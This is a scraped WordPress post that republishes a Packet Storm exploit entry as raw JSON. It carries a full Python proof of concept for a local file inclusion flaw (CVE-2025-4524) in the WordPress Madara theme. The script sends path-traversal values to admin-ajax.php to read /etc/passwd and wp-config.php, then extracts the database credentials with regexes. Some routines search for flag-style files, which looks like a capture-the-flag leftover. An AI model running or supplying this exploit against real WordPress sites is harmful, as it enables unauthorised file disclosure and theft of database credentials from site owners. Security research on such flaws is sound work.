{“lastseen”:”2026-05-11T18:17:06″,”description”:”This Python script exploits a local file inclusion vulnerability in the WordPress Madara theme. It interacts with the admin-ajax.php endpoint to load sensitive files from the server, potentially leading to the exposure of system or application data. It…”,”published”:”2026-05-11T00:00:00″,”modified”:”2026-05-11T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress Madera 2.2.2 Local File Inclusion”,”source”:””,”references”:””,”id”:”PACKETSTORM:220776″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-4524″],”sourceData”:”==================================================================================================================================\\n | # Title : WordPress Madera 2.2.2 Local File Inclusion Exploit |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/mangabooth.com\/product\/wp-manga-theme-madara\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Python script exploits a Local File Inclusion (CVE-2025-4524) vulnerability in the WordPress Madara theme. \\n It interacts with the admin-ajax.php endpoint to load sensitive files from the server, potentially leading to the exposure of system or application data.\\n \\n [+] POC : \\n \\n import requests\\n import sys\\n import re\\n \\n class MadaraLFIExploit:\\n def __init__(self, target):\\n self.target = target.rstrip(‘\/’)\\n self.ajax_url = f\\”{self.target}\/wp-admin\/admin-ajax.php\\”\\n self.session = requests.Session()\\n \\n def read_file(self, filepath):\\n \\”\\”\\”\\n Reading a file via LFI filepath: The file path (e.g., \/etc\/passwd or ..\/..\/wp-config.php)\\n \\”\\”\\”\\n \\n payload = {\\n ‘action’: ‘madara_load_more’,\\n ‘page’: ‘1’,\\n ‘template’: f’plugins\/..\/..\/..\/..\/..\/..\/..{filepath}’,\\n ‘vars[orderby]’: ‘meta_value_num’,\\n ‘vars[paged]’: ‘1’,\\n ‘vars[timerange]’: ”,\\n ‘vars[posts_per_page]’: ’16’,\\n ‘vars[tax_query][relation]’: ‘OR’,\\n ‘vars[meta_query][0][relation]’: ‘AND’,\\n ‘vars[meta_query][relation]’: ‘AND’,\\n ‘vars[post_type]’: ‘wp-manga’,\\n ‘vars[post_status]’: ‘publish’,\\n ‘vars[meta_key]’: ‘_latest_update’,\\n ‘vars[order]’: ‘desc’,\\n ‘vars[sidebar]’: ‘right’,\\n ‘vars[manga_archives_item_layout]’: ‘big_thumbnail’\\n }\\n \\n headers = {\\n ‘User-Agent’: ‘Mozilla\/5.0 (indoushka; rv:128.0) Gecko\/20100101 Firefox\/128.0’,\\n ‘Content-Type’: ‘application\/x-www-form-urlencoded; charset=UTF-8’,\\n ‘X-Requested-With’: ‘XMLHttpRequest’\\n }\\n \\n try:\\n response = self.session.post(\\n self.ajax_url,\\n data=payload,\\n headers=headers,\\n timeout=10\\n )\\n \\n if response.status_code == 200 and len(response.text) \\u003e 50:\\n return response.text\\n else:\\n return None\\n \\n except Exception as e:\\n print(f\\”[-] Error: {e}\\”)\\n return None\\n \\n def read_config_file(self):\\n \\”\\”\\”Read wp-config.php (contains database credentials)\\”\\”\\”\\n \\n paths = [\\n ‘\/wp-config.php’,\\n ‘\/..\/wp-config.php’,\\n ‘..\/..\/wp-config.php’,\\n ‘..\/..\/..\/wp-config.php’\\n ]\\n \\n for path in paths:\\n print(f\\”[*] Trying: {path}\\”)\\n content = self.read_file(path)\\n if content and ‘DB_NAME’ in content and ‘DB_PASSWORD’ in content:\\n print(\\”[+] Found wp-config.php!\\”)\\n db_patterns = {\\n ‘DB_NAME’: r\\”define\\\\s*\\\\(\\\\s*’DB_NAME’\\\\s*,\\\\s*'([^’]+)’\\”,\\n ‘DB_USER’: r\\”define\\\\s*\\\\(\\\\s*’DB_USER’\\\\s*,\\\\s*'([^’]+)’\\”,\\n ‘DB_PASSWORD’: r\\”define\\\\s*\\\\(\\\\s*’DB_PASSWORD’\\\\s*,\\\\s*'([^’]+)’\\”,\\n ‘DB_HOST’: r\\”define\\\\s*\\\\(\\\\s*’DB_HOST’\\\\s*,\\\\s*'([^’]+)’\\”\\n }\\n \\n for key, pattern in db_patterns.items():\\n match = re.search(pattern, content)\\n if match:\\n print(f\\”[+] {key}: {match.group(1)}\\”)\\n \\n return content\\n \\n return None\\n \\n def find_indoushka(self):\\n \\”\\”\\”Searching for indoushkas in popular files\\”\\”\\”\\n common_files = [\\n ‘\/indoushka.txt’,\\n ‘\/root\/indoushka.txt’,\\n ‘\/home\/indoushka\/indoushka.txt’,\\n ‘\/var\/www\/indoushka.txt’,\\n ‘\/tmp\/indoushka.txt’,\\n ‘..\/..\/..\/indoushka.txt’,\\n ‘..\/..\/..\/..\/indoushka.txt’\\n ]\\n \\n for filepath in common_files:\\n print(f\\”[*] Checking {filepath}\\”)\\n content = self.read_file(filepath)\\n if content:\\n \\n patterns = [\\n r’indoushka\\\\{[^}]+\\\\}’,\\n r’indoushka\\\\{[^}]+\\\\}’,\\n r’indoushka\\\\{[^}]+\\\\}’,\\n r’\\\\{FLG:[^}]+\\\\}’,\\n r'[A-Z0-9]{32,}’,\\n r'[a-f0-9]{32,}’\\n ]\\n \\n for pattern in patterns:\\n matches = re.findall(pattern, content)\\n if matches:\\n print(f\\”[YEP] indoushka FOUND: {matches[0]}\\”)\\n return matches[0]\\n print(\\”[*] Trying to read sensitive WordPress files…\\”)\\n wp_files = [\\n ‘\/wp-config.php’,\\n ‘\/wp-content\/plugins\/madara\/functions.php’,\\n ‘\/wp-content\/themes\/madara\/style.css’\\n ]\\n \\n for wp_file in wp_files:\\n content = self.read_file(wp_file)\\n if content and (‘indoushka’ in content.lower() or ‘indoushka’ in content.lower()):\\n print(f\\”[+] Interesting content in {wp_file}:\\”)\\n print(content[:500])\\n \\n return None\\n if __name__ == \\”__main__\\”:\\n target = sys.argv[1] if len(sys.argv) \\u003e 1 else \\”http:\/\/localhost:8080\\”\\n \\n exploit = MadaraLFIExploit(target)\\n \\n print(\\”[*] Testing LFI vulnerability…\\”)\\n test_content = exploit.read_file(‘\/etc\/passwd’)\\n \\n if test_content and ‘root:’ in test_content:\\n print(\\”[+] LFI confirmed! \/etc\/passwd read successfully\\”)\\n print(\\”\\\\n[*] Searching for indoushka…\\”)\\n indoushka = exploit.find_indoushka()\\n \\n if not indoushka:\\n print(\\”[*] Trying to read database config…\\”)\\n exploit.read_config_file()\\n else:\\n print(\\”[-] LFI might not work. Trying alternative payload…\\”)\\n \\n test_content = exploit.read_file(‘..\/..\/..\/wp-config.php’)\\n if test_content and ‘DB_NAME’ in test_content:\\n print(\\”[+] LFI confirmed via wp-config.php!\\”)\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220776″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220776\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-11T18:17:06″,”description”:”This Python script exploits a local file inclusion vulnerability in the WordPress Madara theme. It interacts with the admin-ajax.php endpoint to load sensitive files from…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-53093","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n